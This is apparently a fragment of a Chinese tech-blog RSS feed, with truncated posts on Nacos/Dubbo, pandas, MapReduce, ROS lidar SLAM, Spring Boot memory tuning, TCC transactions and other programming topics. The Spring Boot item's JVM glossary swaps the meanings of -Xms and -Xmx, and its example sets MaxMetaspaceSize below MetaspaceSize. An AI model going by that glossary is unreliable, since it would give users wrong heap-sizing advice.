      <description>Nacos注册、配置中心整合Dubbo远程调用（文末含demo代码地址） 背景开发环境搭建父项目创建项目声明依赖 建立子模块创建order子模块 抽取公共的代码结构编写order模块中的Dubbo相关代码编写common模块中OrderService的实现类编写配置文件 启动Nacos进入Nacos管理界面创建配置文件将order模块注册到Naocs编写服务消费者模块调用order服务的接口编写配置文件 启动main模块，将其注册到Nacos中测试源码地址 背景 Nacos作为阿里巴巴技术栈中的一员，目前在应用得也是比较广泛。作为一个后起之秀，它相较于老一辈得Eureka注册中心也有很多优势。Dubbo同样也是阿里巴巴技术栈的成员，那么它和Nacos相结合无疑是非常不错的选择。最近看了很多帖子，要么是很老的，要么就是参考价值不大，索性，我自己写一个，Nacos和Dubbo整合使用的坑还是比较多。&#xA;开发环境 类别名称及版本开发工具IntelliJ IDEA 2021.2.3MAVENApache Maven 3.8.1JAVAJDK1.8.291SpringBoot2.4.2SpringCloudAlibaba2021.1MyBatis2.1.4Dubbo2.7.8Nacos2.0.3 请注意，以上版本（SpringBoot、SpringCloudAlibaba 、Dubbo）对应关系完全按照官方推荐来搭配的。版本差异或许会导致其他问题，但如果您有其他需求，请您查看官方文档以获取相关信息&#xA;版本参考地址&#xA;搭建父项目 通常来讲，我们会使用聚合的方式来统一项目中的依赖，直接在父项目中声明好依赖，并管理好版本，在子项目中我们就不再需要写版本号了，方便统一。&#xA;创建项目 我们的父项目事实上只有一个功能，那就是帮我们管理依赖版本，所以我们可以删除其不要的结构，让他看起来干净些。项目结构如下(项目名我只是随便写的一个)：&#xA;声明依赖 创建好父项目之后，我们接下来把需要用到的各种依赖申明在父项目的POM的中dependencyManagement标签中，以方便我们管理其版本，使其版本统一。这里您需要注意以下packaging标签我们要声明为pom，因为我们这个只是作为父项目出现。如果您非常熟悉SpringBoot项目，那么您肯定知道spring-boot-maven-plugin插件，一般的SpringBoot项目导入spring-boot-maven-plugin插件的方式一般是这样的：&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 但是现在我们不能这么声明了，不然会报错，其他相关信息您可以参考官方文档。您应该以如下方式申明（版本我声明在properties中作为一个变量出现的，和SpringBoot的版本号一致）：&#xA;&amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-boot-dependencies.version}&amp;lt;/version&amp;gt; &amp;lt;executions&amp;gt; &amp;lt;execution&amp;gt; &amp;lt;goals&amp;gt; &amp;lt;goal&amp;gt;repackage&amp;lt;/goal&amp;gt; &amp;lt;/goals&amp;gt; &amp;lt;/execution&amp;gt; &amp;lt;/executions&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 完整的POM文件代码如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;groupId&amp;gt;com.fenzhichuanmei.sunflower&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sunflower&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;mybatis.spring-boot.version&amp;gt;2.1.4&amp;lt;/mybatis.spring-boot.version&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;project.reporting.outputEncoding&amp;gt;UTF-8&amp;lt;/project.reporting.outputEncoding&amp;gt; &amp;lt;spring-boot-dependencies.version&amp;gt;2.4.2&amp;lt;/spring-boot-dependencies.version&amp;gt; &amp;lt;dubbo-spring-boot-starter.</description>
    </item>
    <item>
      <title>【文件处理】——Python pandas 写入数据到excel中</title>
      <link>https://bchobby.github.io/posts/42f491292e3d13ba388f7329da3d4d64/</link>
      <pubDate>Thu, 11 Nov 2021 15:12:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42f491292e3d13ba388f7329da3d4d64/</guid>
      <description>目录&#xA;1、创建一个新的excel表格&#xA;2、 获取写入excel的数据data&#xA;3、将data类型转换为pandas接受的类型&#xA;4、写入到excel中&#xA;5、保存excel&#xA;最终结果&#xA;#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2021/11/9 23:18 # @Author : @linlianqin # @Site : # @File : writeDataIntoExcel.py # @Software: PyCharm # @description: import pandas as pd def writeDataIntoExcel(xlsPath: str, data: dict): writer = pd.ExcelWriter(xlsPath) sheetNames = data.keys() # 获取所有sheet的名称 # sheets是要写入的excel工作簿名称列表 data = pd.DataFrame(data) for sheetName in sheetNames: data.to_excel(writer, sheet_name=sheetName) # 保存writer中的数据至excel # 如果省略该语句，则数据不会写入到上边创建的excel文件中 writer.save() if __name__ == &#39;__main__&#39;: data = {&#34;</description>
    </item>
    <item>
      <title>（超详细）MapReduce工作原理及基础编程</title>
      <link>https://bchobby.github.io/posts/047be3fe1b466d5e04d8c653ef7ab624/</link>
      <pubDate>Thu, 11 Nov 2021 11:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/047be3fe1b466d5e04d8c653ef7ab624/</guid>
      <description>MapReduce工作原理及基础编程（代码见文章后半部分） JunLeon——go big or go home&#xA;目录 MapReduce工作原理及基础编程（代码见文章后半部分）&#xA;一、MapReduce概述&#xA;1、什么是MapReduce？&#xA;2、WordCount案例解析MapReduce计算过程&#xA;（1）运行hadoop自带的样例程序&#xA;（2）MapReduce工作过程&#xA;3、Shuffle过程详解&#xA;二、MapReduce编程基础&#xA;1、Hadoop数据类型&#xA;2、数据输入格式InputFormat&#xA;3、输入数据分块InputSplit和数据记录读入RecordReader&#xA;4、数据输出格式OutputFormat&#xA;5、数据记录输出类RecordWriter&#xA;6、Mapper类&#xA;7、Reduce类&#xA;三、MapReduce项目案例&#xA;1、经典案例——WordCount&#xA;2、计算考试平均成绩&#xA;3、网站日志分析&#xA;前言：&#xA;Google于2003年在SOSP上发表了《The Google File System》，于2004年在OSDI上发表了《MapReduce: Simplified Data Processing on Large Clusters》，于2006年在OSDI上发表了《Bigtable: A Distributed Storage System for Structured Data》。这三篇论文为大数据及云计算的发展奠定了基础。&#xA;一、MapReduce概述 1、什么是MapReduce？ MapReduce是一个分布式、并行处理的计算框架。&#xA;MapReduce 把任务分为 Map 阶段和 Reduce 阶段。开发人员使用存储在HDFS 中数据（可实现快速存储），编写 Hadoop 的 MapReduce 任务。由于 MapReduce工作原理的特性， Hadoop 能以并行的方式访问数据，从而实现快速访问数据。&#xA;表1 map函数和rudece函数&#xA;函数输入输出说明map &amp;lt;k1,v1&amp;gt;&#xA;&amp;lt;0,helle world&amp;gt;&#xA;&amp;lt;12,hello hadoop&amp;gt;</description>
    </item>
    <item>
      <title>span标签垂直居中显示的正确方法</title>
      <link>https://bchobby.github.io/posts/518f1ed1eafaf666b5e1234ea291b2ce/</link>
      <pubDate>Wed, 10 Nov 2021 21:31:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/518f1ed1eafaf666b5e1234ea291b2ce/</guid>
      <description>1.设置span的line-height为div的高度 , 但是span中的文字会因为行高而在选中时的高亮高度变高&#xA;2.span外层的div(假设为divA)的外层再套一层div(divB), divA设置为margin-top: auto; margin-bottom: auto;&#xA;一般不建议去动span</description>
    </item>
    <item>
      <title>行为级仿真、综合后仿真、布局布线后功能仿真、布局布线后时序仿真的区别</title>
      <link>https://bchobby.github.io/posts/7a1287f80e7d66a138059c9aa87a1163/</link>
      <pubDate>Wed, 10 Nov 2021 17:51:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a1287f80e7d66a138059c9aa87a1163/</guid>
      <description>行为级仿真：&#xA;是指仅对逻辑功能进行测试模拟，以了解其实现的功能是否满足原设计的要求，仿真过程没有加入时序信息，不涉及具体器件的硬件特性，如延时特性；也叫前仿真，综合前功能仿真&#xA;综合后仿真：&#xA;把综合生成的标准延时文件反标注到综合仿真模型中去，可估计门延时对电路带来的影响&#xA;布局布线后功能仿真：&#xA;针对特定的FPGA厂家技术的仿真，此级仿真是在综合后、实现前而进行的功能级仿真，功能级仿真一般验证综合后是否可以得到设计者所需要的正确功能；&#xA;布局布线后时序仿真：&#xA;将布局布线的延时信息反标注到设计网表中进行仿真。此时的仿真延时文件信息最全，包含门延时和布线延时，所以布线后仿真最准确，能较好地反映芯片的实际工作情况。&#xA;一般可以认为：&#xA;前仿真=功能仿真=行为级仿真=RTL级仿真，&#xA;后仿真=时序仿真=布局布线后仿真=门级仿真，&#xA;后仿真加入了传输延时和器件延时，接近实际芯片。</description>
    </item>
    <item>
      <title>Java后台实现Excel文件下载</title>
      <link>https://bchobby.github.io/posts/ffc93f043c2bab1e1767103f88c97d21/</link>
      <pubDate>Wed, 10 Nov 2021 13:37:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc93f043c2bab1e1767103f88c97d21/</guid>
      <description>Java实现下载excel 依赖使用的是poi 实现目的请求HSSFWorkbook方法setResponseHeader方法fypclXls方法实现整个下载过程 依赖 使用的是poi 开发中经常会设计到excel的处理，如导出Excel，导入Excel到数据库中，操作Excel目前有两个框架，一个是apache 的poi， 另一个是 Java Excel&#xA;Apache POI 简介是用Java编写的免费开源的跨平台的 Java API，Apache POI提供API给Java程式对Microsoft Office（Excel、WORD、PowerPoint、Visio等）格式档案读和写的功能。POI为“Poor Obfuscation Implementation”的首字母缩写，意为“可怜的模糊实现”。&#xA;官方主页： http://poi.apache.org/index.html&#xA;API文档： http://poi.apache.org/apidocs/index.html&#xA;&amp;lt;!--Excel解析--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 实现目的 最近公司的项目需要实现页面下载excel文件的功能&#xA;请求 在controller层创建一个请求方法&#xA;@RequestMapping(value = &#34;/fypclXls&#34;,method = RequestMethod.GET) public void fypclXls(@RequestParam Map&amp;lt;String,Object&amp;gt; params,HttpServletRequest request,HttpServletResponse response){ //Query query = new Query(params); costDeviationService.fypclXls(params,request,response); } HSSFWorkbook方法 在业务层去创建一个方法&#xA;public HSSFWorkbook getHSSFWorkbook(String sheetName,String[] title,String[][] values,HSSFWorkbook workbook){ //sheetName 表名称 //title 表格第一行的表头名称 //values 存放的内容 //workbook 实现api的对象 if (workbook == null){ workbook = new HSSFWorkbook(); } HSSFSheet sheet = workbook.</description>
    </item>
    <item>
      <title>思岚SLAMTEC A1开箱测试(实现雷达数据的查看&#43;hector_slam建图)</title>
      <link>https://bchobby.github.io/posts/ad909b9c8a94d21a2181ab772e853669/</link>
      <pubDate>Wed, 10 Nov 2021 12:47:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad909b9c8a94d21a2181ab772e853669/</guid>
      <description>思岚A1开箱测试 思岚A1开箱测试(实现雷达数据的查看+hector_slam建图)一、测试坏境二、测试功能三、具体实现过程注： 思岚A1开箱测试(实现雷达数据的查看+hector_slam建图) 一、测试坏境 ①、SLAMTEC A1激光雷达；&#xA;②、Ubuntu16.04 下 ROS Kinetic。&#xA;二、测试功能 ①、运行ROS包，查看雷达数据&#xA;②、使用hector_slam进行建图&#xA;三、具体实现过程 1、建立ROS工作空间&#xA;mkdir -p ~/dev/catkin_ws/src 进入src文件：&#xA;cd ~/dev/catkin_ws/src 初始化工作空间&#xA;catkin_init_workspace 在src文件中创建了一个 CMakeLists.txt 的文件，告诉系统ROS的工作空间。&#xA;2、下载ROS相关的功能包&#xA;在src目录下 下载SLAMTEC的激光雷达ROS包&#xA;git clone https://github.com/Slamtec/rplidar_ros.git 下载Hector_SLAM建图&#xA;git clone https://github.com/tu-darmstadt-ros-pkg/hector_slam.git 3、在工作空间中编译&#xA;cd ~/dev/catkin_ws/ catkin_make 添加环境变量source&#xA;source ~/dev/catkin_ws/devel/setup.bash (为了让source永久生效，应该写入.bashrc文件中）&#xA;echo&#34;source~/dev/catkin_ws/devel/setup.bash&#34; &amp;gt;&amp;gt; ~/.bashrc source ~/.bashrc 4、驱动安装&#xA;源码安装 rplidar-ros 雷达驱动&#xA;sudo apt-get install ros-kinetic-rplidar-ros 源码安装 hector_slam库&#xA;sudo apt-get install ros-kinetic-hector-slam 在rplidar_ros中新建slam.launch文件**（非常重要，不然会报错）**&#xA;在rplidar_ros/launch/目录下添加slam.launch文件:&#xA;slam.launch文件中复制如下内容&#xA;&amp;lt;launch&amp;gt; &amp;lt;node pkg=&#34;hector_mapping&#34; type=&#34;</description>
    </item>
    <item>
      <title>路径规划（一）：使用Matlab快速绘制栅格地图</title>
      <link>https://bchobby.github.io/posts/3c5f67399f6d9861f408020f7e1ae8dc/</link>
      <pubDate>Tue, 09 Nov 2021 23:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c5f67399f6d9861f408020f7e1ae8dc/</guid>
      <description>目录 一、Matlab快速绘制栅格地图1、几种常用的地图形式：1.1、尺度地图：1.2、拓扑地图：1.3、语义地图： 2、栅格地图用于路径规划的优势：3、matlab绘制栅格地图的核心函数及思想：3.1、colormap函数：3.2、sub2ind函数：3.3、ind2sub函数：3.4、为了在栅格地图呈现随机障碍物的效果，可以设置障碍物出现频率数值，根据该数据在所有栅格中生成随机数，从而确定障碍物栅格。3.5、image函数： 4、具体例子：4.1、利用Matlab快速绘制栅格地图matlab代码：4.2、运行结构：4.3、具体分析 一、Matlab快速绘制栅格地图 声明：本文是学习古月居~基于栅格地图的机器人路径规划算法指南 • 黎万洪 后写的笔记，好记性不如烂笔头！方便自己日后的巩固与复习，这个教程讲的很高，值得推荐！&#xA;1、几种常用的地图形式： 1.1、尺度地图： 具有真实的物理尺度，如：栅格地图、特征地图、点云地图，常用于地图构建、定位、SLAM、小规模路径规划。&#xA;1.2、拓扑地图： 不具备真实的物理尺度，只表示不同地点的连接关系和距离，如铁路网。&#xA;1.3、语义地图： 加标签的尺度地图，常用于人机交互。&#xA;2、栅格地图用于路径规划的优势： ①、可以将任意形状轮廓的地图，用足够精细的栅格进行绘制；&#xA;②、每一个栅格，可以通过不同颜色表示不同含义，如黑色代表障碍物、黄色代表起点、红色代表终点；&#xA;③、基于栅格地图进行路径规划有横、纵、斜三个规划方向。对应室内低速机器人可以完全按照路径行走；对于中高速机器人，可以考虑将路径进行平滑处理，以适用于非完全约束系统。&#xA;3、matlab绘制栅格地图的核心函数及思想： 3.1、colormap函数： 为栅格地图创建自定义颜色。如黄色栅格代表起点、红色为终点。&#xA;3.2、sub2ind函数： 将行列索引转为线性索引。对于右图栅格地图，10行1列，行从左上角自上而下排序，列从左上角自左向右排序。&#xA;3.3、ind2sub函数： 与sub2ind相反，是将线性索引转为行列索引。&#xA;3.4、为了在栅格地图呈现随机障碍物的效果，可以设置障碍物出现频率数值，根据该数据在所有栅格中生成随机数，从而确定障碍物栅格。 3.5、image函数： 利用colormap建立的颜色图，将数组信息显示为图像。&#xA;4、具体例子： 4.1、利用Matlab快速绘制栅格地图matlab代码： clc clear close all %% 构建颜色MAP图 cmap = [1 1 1; ... % 1-白色-空地 0 0 0; ... % 2-黑色-静态障碍 1 0 0; ... % 3-红色-动态障碍 1 1 0;... % 4-黄色-起始点 1 0 1;... % 5-品红-目标点 0 1 0; .</description>
    </item>
    <item>
      <title>springboot项目启动内存占用过高问题如何解决</title>
      <link>https://bchobby.github.io/posts/e356ce1e4f42c295a2a946107efb3624/</link>
      <pubDate>Tue, 09 Nov 2021 22:04:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e356ce1e4f42c295a2a946107efb3624/</guid>
      <description> 文章来源：企鹅号 - 程序猿GG&#xA;问题：&#xA;在开发springboot过程中一个很严重的资源问题就是内存占用过高，而实际上本机开发测试并没有很大的请求量，所以这是对电脑资源的一种严重的浪费，甚至导致IDE卡死、崩溃。&#xA;有时候非常简单的一个项目，只要启动就轻松占用1g内存，今天优化了下，成功把内存降到200m左右，其实主要开始默认配置有点大，这样优化不管是本地还是服务器又可以畅快运行了。&#xA;干货：&#xA;启动命令示例，这样启动150m左右差不多够了:&#xA;nohup java -jar -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=56m -Xms128m -Xmx128m -Xmn32m -Xss256k -XX:SurvivorRatio=8 -XX:+UseConcMarkSweepGC short-url.jar --spring.profiles.active=prod &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&amp;amp;&#xA;参数意义：&#xA;-XX:MetaspaceSize=128m：元空间默认大小&#xA;-XX:MaxMetaspaceSize=128m：元空间最大大小&#xA;-Xms1024m：堆最大大小&#xA;-Xmx1024m：堆默认大小&#xA;-Xmn256m：新生代大小&#xA;-Xss256k：栈最大深度大小&#xA;-XX:SurvivorRatio=8：新生代分区比例 8:2&#xA;-XX:+UseConcMarkSweepGC：指定使用的垃圾收集器，这里使用CMS收集器&#xA;-XX:+PrintGCDetails：打印详细的GC日志&#xA;如果设置的内存大小太小，可以适当的根据实际情况更改配置。&#xA;发表于: 2019-12-28原文链接：https://kuaibao.qq.com/s/20191228A0LSHS00?refer=cp_1026腾讯「云+社区」是腾讯内容开放平台帐号（企鹅号）传播渠道之一，根据《腾讯内容开放平台服务协议》转载发布内容。如有侵权，请联系 yunjia_community@tencent.com 删除。 </description>
    </item>
    <item>
      <title>echarts 节点拖拽</title>
      <link>https://bchobby.github.io/posts/07bc73a2a78348354fe79838d0c5ec7d/</link>
      <pubDate>Tue, 09 Nov 2021 21:53:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07bc73a2a78348354fe79838d0c5ec7d/</guid>
      <description>echarts 节点拖拽 官方文档：Handbook - Apache ECharts&#xA;****************** 示例&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;https://bchobby.github.io/echarts/echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://bchobby.github.io/jquery/jquery-3.6.0.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $(function (){ const myChart = echarts.init($(&#34;#container&#34;)[0]); const symbolSize = 20; const data = [ [40, -10], [-30, -5], [-76.5, 20], [-63.5, 40], [-22.1, 50] ]; myChart.setOption({ title: { text: &#39;节点拖拽&#39;, left: &#39;center&#39;, textStyle: { color: &#39;#826&#39; } }, tooltip: { triggerOn: &#39;none&#39;, formatter: function (params) { return ( &#39;X: &#39; + params.</description>
    </item>
    <item>
      <title>如何编辑简单打字游戏</title>
      <link>https://bchobby.github.io/posts/6c881f65218c1e72bd08cb70e509e944/</link>
      <pubDate>Tue, 09 Nov 2021 14:51:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c881f65218c1e72bd08cb70e509e944/</guid>
      <description>先来简单看一下要求&#xA;一，我们可以先编写Player类，先把属性定义好，然后进行封装&#xA;public class Player { private String name; //定义姓名 private int lvlNo=1; //定义级别编号为1 private long startTime=System.currentTimeMillis(); //定义开始时间 private long usedTime; //定义已用时间 private int totalScores=0; //定义初始积分为0 public void play(Game g){//传参进来，传入当前对象 g.run(this);//注释1：this是本类对象 } public Player(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getLvlNo() { return lvlNo; } public void setLvlNo(int lvlNo) { this.lvlNo = lvlNo; } public long getStartTime() { return startTime; } public void setStartTime(long startTime) { this.</description>
    </item>
    <item>
      <title>2021-11-09 FANUC 机器形态</title>
      <link>https://bchobby.github.io/posts/5913c2be8a37f1691ec5304f4a59ae07/</link>
      <pubDate>Tue, 09 Nov 2021 13:32:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5913c2be8a37f1691ec5304f4a59ae07/</guid>
      <description>发现问题&#xA;看发那科机械臂操作手册，其中有一段关于机器人直角坐标值的叙述引起了我的注意，我看了这段话之后顿时联想到之前在ZS做项目时候遇见的奇异点问题，我坚信这两者之间必然有联系！&#xA;手册相关内容截图如下：&#xA;我之前在ZS做项目时候，在点动机器人时候，仅仅考虑了xyzwpr值，没有考虑到原来发那科机器人中的直角坐标还有其它元素（工具坐标系，用户坐标系，形态），经过两天的探索，终于搞明白了什么是机器人形态，及其类别！&#xA;机器人形态&#xA;在我的认知里，一个直角坐标值xyzwpr，可能会对应多个关节值，所以在指定xyzwpr后需要为机器人指定形态才可以唯一确定机器人的状态。在发那科机器人中，用关节配置和回转数来完全机器人状态。&#xA;关节配置&#xA;如下图所示：&#xA;（1）FLIP代表手腕上翻（j5&amp;gt;0）;NOFLIP代表手腕下翻（j5&amp;lt;0）。而且当j5在0附近时候（大约上下3度），会提示在奇异点附近。六轴机器人最常见的奇异点就是就是这种类型，也叫腕部奇异点。对于不同的工作场景，制作不同的工具头，防止j5等于0，不失为一种避免腕部奇异点的方法。&#xA;（2）UP代表肘关节（j3所在位置）凸起；DOWN代表肘关节凹陷。&#xA;也可以说，当两个主臂夹角小于180，那么是UP；否是是DOWN。&#xA;（3）FRONT代表腕部在j1轴的一侧（有j2轴的一侧），BACK代表腕部在j1的另一侧（无j2轴的一侧）&#xA;不同情景：&#xA;F与N很好区分，下面着重展示一下不同U,D和T,B的组合：&#xA;————————————————&#xA;版权声明：本文为CSDN博主「悟道机器人」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/liu2015302026/article/details/113137416</description>
    </item>
    <item>
      <title>TCC分布式事务的实现原理（补偿机制）</title>
      <link>https://bchobby.github.io/posts/cf7475e6aa0d132f9f669b264f1b7c46/</link>
      <pubDate>Tue, 09 Nov 2021 02:14:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf7475e6aa0d132f9f669b264f1b7c46/</guid>
      <description>核心思想 是：针对每个操作，都要注册一个与其对应的确认和补偿（撤销）操作。分为三个阶段：&#xA;Try 阶段:主要是对业务系统做检测（一致性）及资源预留（准隔离性）Confirm 阶段:主要是对业务系统做确认提交，Try阶段执行成功并开始执行 Confirm阶段时，默认Confirm阶段是不会出错的。即：只要Try成功，Confirm一定成功。(Confirm 操作满足幂等性。要求具备幂等设计，Confirm 失败后需要进行重试。&#xA;)Cancel 阶段主要是在业务执行错误，需要回滚的状态下执行的业务取消，预留资源释放。(Cancel 操作满足幂等性) 解决了协调者单点，由主业务方发起并完成这个业务活动。业务活动管理器也变成多点，引入集群。&#xA;同步阻塞： 引入超时，超时后进行补偿，并且不会锁定整个资源，将资源转换为业务逻辑形式，粒度变小。&#xA;数据一致性，有了补偿机制之后，由业务活动管理器控制一致性。&#xA;缺点：在Confirm,Cancel中都有可能失败。TCC属于应用层的一种补偿方式，所以需要程序员在实现的时候多写很多补偿的代码，在一些场景中，一些业务流程可能用TCC不太好定义及处理。&#xA;以下转自：拜托，面试请不要再问我TCC分布式事务的实现原理！【石杉的架构笔记】&#xA;一、写在前面 这篇文章，就用大白话+手工绘图，并结合一个电商系统的案例实践，来给大家讲清楚到底什么是TCC分布式事务。&#xA;首先说一下，这里可能会牵扯到一些Spring Cloud的原理，如果有不太清楚的同学，可以参考之前的文章：《拜托，面试请不要再问我Spring Cloud底层原理！》。&#xA;二、业务场景介绍 咱们先来看看业务场景，假设你现在有一个电商系统，里面有一个支付订单的场景。&#xA;那对一个订单支付之后，我们需要做下面的步骤：&#xA;更改订单的状态为“已支付”扣减商品库存给会员增加积分创建销售出库单通知仓库发货&#xA;三、进一步思考 实现一个TCC分布式事务的效果。&#xA;订单服务-修改订单状态，库存服务-扣减库存，积分服务-增加积分，仓储服务-创建销售出库单。 上述这几个步骤，要么一起成功，要么一起失败，必须是一个整体性的事务。&#xA;举个例子，现在订单的状态都修改为“已支付”了，结果库存服务扣减库存失败。那个商品的库存原来是100件，现在卖掉了2件，本来应该是98件了。&#xA;结果呢？由于库存服务操作数据库异常，导致库存数量还是100。这不是在坑人么，当然不能允许这种情况发生了！&#xA;但是如果你不用TCC分布式事务方案的话，就用个Spring Cloud开发这么一个微服务系统，很有可能会干出这种事儿来。&#xA;我们来看看下面的这个图，直观的表达了上述的过程。&#xA;所以说，我们 有必要使用TCC分布式事务机制来保证各个服务形成一个整体性的事务。&#xA;上面那几个步骤，要么全部成功，如果任何一个服务的操作失败了，就全部一起回滚，撤销已经完成的操作。&#xA;比如说库存服务要是扣减库存失败了，那么订单服务就得撤销那个修改订单状态的操作，然后得停止执行增加积分和通知出库两个操作。&#xA;四、落地实现TCC分布式事务 如何来实现一个TCC分布式事务，使得各个服务，要么一起成功？要么一起失败呢？&#xA;我们这就来一步一步的分析一下。以一个Spring Cloud开发系统作为背景来解释。&#xA;1、TCC实现阶段一：Try 首先，订单服务那儿，他的代码大致来说应该是这样子的：&#xA;其实就是订单服务完成本地数据库操作之后，通过Spring Cloud的Feign来调用其他的各个服务罢了。但是光是凭借这段代码，是不足以实现TCC分布式事务的啊？！&#xA;首先，上面那个订单服务先把自己的状态修改为：OrderStatus.UPDATING。&#xA;在pay()方法里，把订单状态（已支付）修改为UPDATING（修改中）。仅代表有人正在修改这个状态。&#xA;库存服务直接提供的那个reduceStock()接口里，也别直接扣减库存啊，你可以是冻结掉库存。&#xA;举个例子，本来你的库存数量是100，你别直接100 - 2 = 98，扣减这个库存！&#xA;你可以把可销售的库存：100 - 2 = 98，设置为98没问题，然后在一个单独的冻结库存的字段里，设置一个2。也就是说，有2个库存是给冻结了。&#xA;积分服务的addCredit()接口也是同理，别直接给用户增加会员积分。你可以先在积分表里的一个预增加积分字段加入积分。&#xA;比如：用户积分原本是1190，现在要增加10个积分，别直接1190 + 10 = 1200个积分啊！&#xA;你可以保持积分为1190不变，在一个预增加字段里，比如说prepare_add_credit字段，设置一个10，表示有10个积分准备增加。&#xA;仓储服务的saleDelivery()接口也是同理啊，你可以先创建一个销售出库单，但是这个销售出库单的状态是“UNKNOWN”。&#xA;也就是说，刚刚创建这个销售出库单，此时还不确定他的状态是什么呢！</description>
    </item>
    <item>
      <title>Java核心技术----反 射</title>
      <link>https://bchobby.github.io/posts/53e81c076c2b3a09185272932906d8c0/</link>
      <pubDate>Tue, 09 Nov 2021 00:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53e81c076c2b3a09185272932906d8c0/</guid>
      <description>一、Class类与Java反射 Class textFieldC=tetxField.getClass(); //tetxField为JTextField类对象&#xA;反射可访问的主要描述 1、访问构造方法&#xA;每个Constructor对象代表一个构造方法，利用Constructor对象可以操纵相应的构造方法。&#xA;getConstructors() //获取公有getConstructor(Class&amp;lt;?&amp;gt;... parameterTypes) //获取指定公有 getDeclaredConstructors() //获取所有 getDeclaredConstructor(Class&amp;lt;?&amp;gt;... parameterTypes) //获取指定方法 创建Demo1类，声明String类型成员变量和3个int类型成员变量，并提供3个构造方法。&#xA;package bao; public class Demo1{ String s; int i,i2,i3; private Demo1() { } protected Demo1(String s,int i) { this.s=s; this.i=i; } public Demo1(String... strings)throws NumberFormatException{ if(0&amp;lt;strings.length) { i=Integer.valueOf(strings[0]); } if(1&amp;lt;strings.length) { i2=Integer.valueOf(strings[0]); } if(2&amp;lt;strings.length) { i3=Integer.valueOf(strings[0]); } } public void print() { System.out.println(&#34;s=&#34;+s); System.out.println(&#34;i=&#34;+i); System.out.println(&#34;i2=&#34;+i2); System.out.println(&#34;i3=&#34;+i3); } } 编写Main类，在该类对Demo1进行反射访问的所有构造方法，并将该构造方法是否允许带有可变数量的参数、入口参数和可能抛出的异常类型信息输出。&#xA;package bao; import java.</description>
    </item>
    <item>
      <title>STM32中断与DMA串口收发</title>
      <link>https://bchobby.github.io/posts/638f99654e8b0264a354230483c3be24/</link>
      <pubDate>Mon, 08 Nov 2021 21:26:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/638f99654e8b0264a354230483c3be24/</guid>
